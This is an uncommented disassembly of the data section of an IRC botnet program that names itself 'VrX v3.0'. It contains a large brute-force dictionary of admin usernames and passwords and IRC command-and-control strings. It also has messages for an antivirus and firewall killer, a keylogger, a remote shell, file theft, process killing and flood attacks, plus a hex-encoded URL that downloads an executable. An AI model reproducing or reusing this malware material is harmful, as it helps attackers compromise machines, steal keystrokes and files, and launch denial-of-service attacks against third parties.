		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset byte_43B4B8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401AC7+AD3r
					; sub_401AC7+AFFr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401AC7+45F2o
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: sub_401AC7+727Fo
					; ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401AC7+3E8Fo
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AF2B+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:0040AFBAo
					; ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401686o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040163Bo
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:0040160Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015BDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401582o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014ADo
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013A7o
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Bo
					; sub_410080+EAo ...
unk_429AD4	db    3			; DATA XREF: sub_4017E7+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40194F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40194F+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D27o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D12o
		align 4
unk_429B38	db    3			; DATA XREF: sub_401AC7+7CFEo
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B58	db    3			; DATA XREF: sub_401AC7+7CE1o
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B78	db    3			; DATA XREF: sub_401AC7+7C71o
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7C4Eo
		align 4
unk_429BCC	db    3			; DATA XREF: sub_401AC7+7C13o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7C04o
					; sub_401AC7+7C62o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7BF0o
		align 4
asc_429C4C:				; DATA XREF: sub_401AC7+7BC0o
		unicode	0, <~>,0
unk_429C50	db    3			; DATA XREF: sub_401AC7+7B6Fo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 4
unk_429C74	db    3			; DATA XREF: sub_401AC7+7B07o
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C9C	db    3			; DATA XREF: sub_401AC7+7AC5o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CBC	db    3			; DATA XREF: sub_401AC7+7AA7o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429CE0	db    3			; DATA XREF: sub_401AC7+7A8Eo
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D00	db    3			; DATA XREF: sub_401AC7+7A6Eo
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D20	db    3			; DATA XREF: sub_401AC7+7A55o
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D38	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40949Eo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D64	db  2Dh	; -		; DATA XREF: sub_401AC7+79D0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D88	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409451o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DB0	db  2Dh	; -		; DATA XREF: sub_401AC7+7980o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401AC7+7966o
unk_429DDC	db    3			; DATA XREF: sub_401AC7+7865o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429E00	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409317o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E24	db  2Dh	; -		; DATA XREF: sub_401AC7+7846o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E44	db    3			; DATA XREF: sub_401AC7+781Do
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E68	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4092C8o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_429E90	db  2Dh	; -		; DATA XREF: sub_401AC7+77D3o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 10h
unk_429EB0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409260o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_429EE0	db  2Dh	; -		; DATA XREF: sub_401AC7+778Fo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F00	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409200o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F30	db  2Dh	; -		; DATA XREF: sub_401AC7+7732o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F54	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401AC7+76F4o
		dd 27732527h, 2Eh
unk_429F70	db  2Dh	; -		; DATA XREF: sub_401AC7+767Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F94	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401AC7+760Ao
		dd 0
unk_429FAC	db  2Dh	; -		; DATA XREF: sub_401AC7+75E0o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FEC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401AC7+7571o
		dd 2Eh
dword_42A004	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401AC7:loc_408F8Do
		dd 746E6573h, 2Eh
unk_42A020	db  2Dh	; -		; DATA XREF: sub_401AC7+74BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42A040	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401AC7+7488o
		dd 732520h
unk_42A058	db  2Dh	; -		; DATA XREF: sub_401AC7+747Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A084:				; DATA XREF: sub_401AC7+7462o
					; sub_410080+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A088	db    3			; DATA XREF: sub_401AC7+743Ao
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A8	db    3			; DATA XREF: sub_401AC7+7426o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401AC7:loc_408E7Co
		align 10h
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401AC7+73ABo
		align 10h
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401AC7+7333o
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401AC7+72E6o
		align 4
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401AC7+725Fo
		align 10h
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401AC7+7232o
					; sub_401AC7+72DEo
		align 4
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401AC7+722Do
		align 4
unk_42A17C	db    3			; DATA XREF: sub_401AC7+720Co
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 4
unk_42A194	db    3			; DATA XREF: sub_401AC7+71D1o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 4
unk_42A1C4	db    3			; DATA XREF: sub_401AC7+71B5o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E8	db    3			; DATA XREF: sub_401AC7+7116o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 4
unk_42A204	db    3			; DATA XREF: sub_401AC7+70D8o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 10h
unk_42A220	db    3			; DATA XREF: sub_401AC7+7082o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A23C	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401AC7+7017o
dword_42A250	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+6FDDo
					; sub_401AC7+7A60o
unk_42A25C	db    3			; DATA XREF: sub_401AC7+6FB1o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+6FA3o
		align 4
dword_42A284	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401AC7+6F7Ao
		dd 25203A29h, 73h
dword_42A2A0	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401AC7+6F0Fo
		dd 203A2973h, 7325h
dword_42A2BC	dd 45444F4Dh, 732520h	; DATA XREF: sub_401AC7+6EBAo
dword_42A2C4	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401AC7+6E88o
		dd 203A2973h, 7325h
dword_42A2E0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+6E13o
dword_42A2EC	dd 0A0D7325h, 0		; DATA XREF: sub_401AC7+6DE1o
					; sub_401AC7+6E67o ...
dword_42A2F4	dd 54524150h, 732520h	; DATA XREF: sub_401AC7+6DACo
dword_42A2FC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+6D6Fo
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A338	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+6CFEo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A364	db  2Dh	; -		; DATA XREF: sub_401AC7+6CA1o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A3A0	db  2Dh	; -		; DATA XREF: sub_401AC7+6C2Co
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D4	db    3			; DATA XREF: sub_401AC7+6BC6o
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A408	db    3			; DATA XREF: sub_401AC7+6B89o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 10h
dword_42A420	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401AC7:loc_4085B7o
dword_42A434	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401AC7+6AB0o
					; sub_401AC7+6B63o ...
dword_42A444	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7:loc_408518o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A48C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7+6A47o
